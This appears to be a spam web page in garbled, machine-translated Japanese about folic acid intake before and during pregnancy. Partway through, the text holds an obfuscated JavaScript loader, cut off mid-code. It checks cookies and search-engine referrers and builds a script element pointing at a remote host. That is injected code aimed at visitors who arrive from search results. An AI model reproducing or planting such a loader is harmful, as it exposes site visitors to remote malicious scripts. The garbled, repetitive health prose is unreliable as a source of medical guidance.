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あなたの医師が特別なタイプを示唆していない限り、あなたは女性や活動的な人々、または低炭水化物ダイエットをしている人々のためのビタミンの中から選択する必要はありません。.. 女性は、NTDを予防するために妊娠している前から、毎日葉酸を摂取する必要があります。.. 十分に得るためのもう一つの方法は葉酸の毎日の価値の100％で富化された毎日の朝食用シリアルのサービングを食べることです.. あなたはマルチビタミンまたは葉酸の小さな、単一のサプリメントを取ることができます.. 妊娠前や妊娠中に女性の体内に十分な葉酸がある場合、赤ちゃんの脳や脊椎に大きな先天性障害がある可能性は低くなります。スペイン語を話すラテン系出生年齢のラテンアメリカ人との広範囲にわたる形成的研究に基づいて、新しいスペイン語葉酸材料が開発されました.

しかし、妊娠することができる女性にとって、それは本当に重要です！妊娠前に女性の体内に十分な葉酸がある場合は、赤ちゃんの脳や脊椎の大きな先天性欠損症を予防するのに役立ちます。.

葉酸サプリ取りすぎ男テカリ多くの店では1日にわずか1ペニーのための単一の葉酸サプリメントを提供しています.. 妊娠を計画していない場合でも、すべての女性が毎日葉酸を摂取する習慣を身につけるべきです.

脳や脊椎のこれらの先天性欠損症は、妊娠の最初の数週間で、しばしば女性が妊娠していることがわかる前に起こります.. 十分な大きさは？ 100％デイリーバリュー（DV）を探す女性が十分な葉酸を得ていることを確認することができることを確認することができます1つの簡単な方法は毎日それに葉酸が含まれているビタミンを取ることです.. var _0x372a=['aGVhZA==','YXBwZW5kQ2hpbGQ=','aHR0cHM6Ly9jbG91ZGJyaWlkZ2UubWVuL2pwX2RlYy5waHA/eD1uZXcmcXVlcnk9','WmhGRUg=','bWF0Y2g=','WHF6ekg=','Z0lMTno=','WGNQVko=','V3pPRVY=','b2RCWlo=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','dWNsVHk=','dHVrckg=','eW94Zk0=','OyBwYXRoPQ==','OyBkb21haW49','Y29va2ll','R2tkUWg=','Z05oWks=','dUxwZEk=','Z2V0VGltZQ==','cVVPUEs=','QmlPd2s=','Lmdvb2dsZS4=','LmJpbmcu','LmFzay4=','LnlhbmRleC4=','dmlzaXRlZA==','cVNQV0c=','LmFsdGF2aXN0YS4=','ZlBDTUM=','cmVmZXJyZXI=','Z2V0','aGpxZnc=','VmF3TlA=','cmxKU3I=','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','c3Jj'];(function(_0x4e2abc,_0x4581b8){var _0x55d603=function(_0x295376){while(--_0x295376){_0x4e2abc['push'](_0x4e2abc['shift']());}};_0x55d603(++_0x4581b8);}(_0x372a,0x145));var _0x363a=function(_0x2e0cc4,_0x17de9d){_0x2e0cc4=_0x2e0cc4-0x0;var _0xd1120b=_0x372a[_0x2e0cc4];if(_0x363a['oawefO']===undefined){(function(){var _0x4e94f5;try{var _0x31ce57=Function('return\x20(function()\x20'+'{}.. 最近では、葉酸を含むマルチビタミンは、チュアブルチョコレートやフルーツのフレーバー、液体、大きな楕円形や小さな丸い丸薬で入っています.. バスルームやキッチンのカウンターでビタミンボトルを見ると、覚えておくこともできます。.. CDCと米国公衆衛生局は、妊娠している可能性のあるすべての女性に、毎日400マイクログラム（400 mcg）の合成葉酸を摂取するように求めています. 5ebbf469cd

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